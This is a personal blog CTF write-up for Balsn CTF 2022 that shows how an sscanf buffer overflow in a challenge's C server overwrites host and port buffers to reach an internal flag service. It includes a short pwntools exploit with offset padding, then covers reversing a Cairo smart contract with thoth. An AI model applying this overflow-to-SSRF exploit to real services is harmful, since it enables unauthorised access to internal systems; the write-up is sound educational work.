Hello I am arsalan. Offensive Security Engineer, I blog about cyber security, ctf writeup , web development , and more about tech. born and raised in indonesia , currently living in indonesia

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Balsn CTF 2022 Writeup

from reversing cairo bytecode to buffer overflow lead to ssrf

I played balsnCTF last week and solve several challenge, in this post I will only cover Pwn and smartcontract challenge

List Challenge:


  • Flag Market 1
  • SmartContract

  • Cairo Reverse

Flag Market 1

Do you love flags?
Try to buy some!
nc flag-market-us.balsnctf.com 19091 or
nc flag-market-sin.balsnctf.com 19091 or
nc flag-market-uk.balsnctf.com 19091

Note: Distributed file is in challenge Flag Market 1

Identify The Vulnerability

We were given several files, from docker file to source code and a Makefile

first I started check the flag_market.c which I found a buffer overflow vulnerability on connection_handler

void connection_handler(int sock_fd)
    char request[MAX_REQ_BUF] = {};
    char method[MAX_BUF] = {};
    char path[MAX_BUF] = {};
    char port[MAX_BUF] = {};
    char host[MAX_BUF] = {};
    size_t n = 0;
    size_t reqLen = 0;

    connection_sock = sock_fd;
    signal(SIGALRM, exception_handler);
    signal(SIGABRT, exception_handler);

    snprintf(host, MAX_BUF, "%s", BK_HOST);
    snprintf(port, MAX_BUF, "%d", BK_PORT);

    reqLen = read_input(sock_fd, request, MAX_REQ_BUF);

    n = sscanf(request, "%s /%s HTTP/1.1", method, path); 
    if (n != 2)
        snprintf(path, MAX_BUF, "500");

    route(sock_fd, host, port, method, path, reqLen, request);


the sscanf() can trigger buffer overflow since the buffer size of request is larger than method and path buffer, and there’s no check or limitation so all the data from request will copied to method and path buffer

#define MAX_BUF 384
#define MAX_REQ_BUF 1024

in this situation we can overflow the buffer and overwrite the host and port which can lead to ssrf vulnerability.

next, I found that our goal is to access webservice on port 31337

service backend-flag1
        disable = no
        type = UNLISTED
        wait = no
        server = /backend/run_flag1.sh
        socket_type = stream
        protocol = tcp
        user = backend
	port = 31337
        flags = IPv4 REUSE
        per_source = 5
        rlimit_cpu = 3
	rlimit_as = 64M
        nice = 18

which allow us to read our flag


echo $FLAG1

Setup debugging environment

in order to debug the binary, I edit a few things on docker-compose-chal.yml

version: "3.5"
            context: ./
            dockerfile: flag_market.Dockerfile
            - "${CHAL_PORT}:19091/tcp"

            - flag_market_network
        security_opt:               # start changed line
            - seccomp:unconfined    # 
        cap_add:                    # 
            - SYS_PTRACE            # end of changed line

        external: true

# CHAL_PORT=13337 docker-compose -f ./docker-compose-chal.yml -p flag_market_13337 up -d

next, run deploy.sh to install and deploy the challenge on local machine. after deploy.sh executed we should have a service running on the port 13337

now, we need to install gdb on the docker container by running these command

sudo docker exec -it --workdir /root --user root  flag_market_flag_market_1 bash
apt install gdb

so we can debug the binary on the docker it self by attaching the PID process using gdb

now we can set breakpoint b* route+1152so we can determine the offset to overwrite the port and host

after setting up the breakpoint, we can use pattern create from gdb-gef to determine how long exactly to overwrite the port buffer and allow us to perform ssrf via buffer overflow

as you can see from the screenshot above, we can overwrite the port buffer using 768 byte padding and overwrite it with 31337 so we can access internal website. here is my exploit to perform ssrf via buffer overflow

from pwn import *
r = remote("localhost",13337)

def solve_flag1():
    off2setPort = 768
    p = "A" * off2setPort
    p += "31337"


Cairo Reverse

Simple cairo reverse

starknet-compile 0.9.1

Author: ysc

Analysis the smartcontract file

after analysis I found that we have to reveal the censored value from contract.cairo file

# Declare this file as a StarkNet contract.
%lang starknet

from starkware.cairo.common.cairo_builtins import HashBuiltin

func get_flag{
    syscall_ptr : felt*,
    pedersen_ptr : HashBuiltin*,
}(t:felt) -> (res : felt):
    if t == /* CENSORED */:
        return (res=0x42414c534e7b6f032fa620b5c520ff47733c3723ebc79890c26af4 + t*t)

I use thoth to decompile the compiled json file, Thoth (pronounced “toss”) is a Cairo/Starknet analyzer, disassembler & decompiler written in Python 3. Thoth’s features also include the generation of the call graph and control-flow graph (CFG) of a given Cairo/Starknet compilation artifact. you can install thoth by running these command

sudo apt install graphviz
git clone https://github.com/FuzzingLabs/thoth && cd thoth
pip install .
thoth -h

after analysis the cairo bytecode and reading the get_flag() function, I found the secret value

now we can replicate the smartcontract source code using python to get the flag

>>> hex(0x42414c534e7b6f032fa620b5c520ff47733c3723ebc79890c26af4 + 0x1d6e61c2969f782ede8c3 * 0x1d6e61c2969f782ede8c3)
>>> print(bytes.fromhex('42414c534e7b726561645f646174615f66726f6d5f636169726f7d').decode('utf-8'))